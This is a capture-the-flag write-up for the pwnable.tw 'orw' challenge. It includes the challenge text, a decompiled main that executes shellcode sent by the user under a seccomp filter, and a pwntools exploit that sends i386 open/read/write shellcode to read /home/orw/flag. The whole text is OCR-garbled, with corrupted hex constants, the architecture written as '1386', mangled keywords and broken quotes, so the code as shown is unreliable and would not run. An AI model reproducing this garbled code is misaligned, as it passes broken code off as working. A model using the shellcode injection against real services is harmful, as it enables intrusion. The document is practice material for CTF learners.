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Read the flag from /home/orw/flag .
Only open read write syscall are allowed to use.
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int _ cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(®, &shellcode, @xC8u);
((void (*)(void))shellcode)();
return @;
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from pwn import *
context(arch="1386",0s="1inux")
#context(log_Level="debug")

io = remote('chall.pwnable.tw',10001)
open_code = "'’

mov eax, 0Ox5;

push ©0x00006761;

push @x6c662f77;

push 0x726f2f65;

push 0x6d6f682f;

mov ebx,esp;

XOor ecx,ecx;

xor edx,edx;

int 0x80;

read_code =
mov ecx, ebx;
mov ebx, eax;
mov eax, 0Ox3;
mov edx, Ox60;
int 0x80;

write_code =
mov eax, 0Ox4;
mov ebx, Ox1;
int 0x80;
payload = asm(open_code+read_code+write_code)
io.recvuntil(':")

io.send(payload)

io.interactive()

import binascii

b = 1list(r'/home/orw/flag")
b.reverse()

a = "'.join(b)
print(binascii.hexlify(a.encode()))
->b'67616c662f77726f2f656d6F682F"
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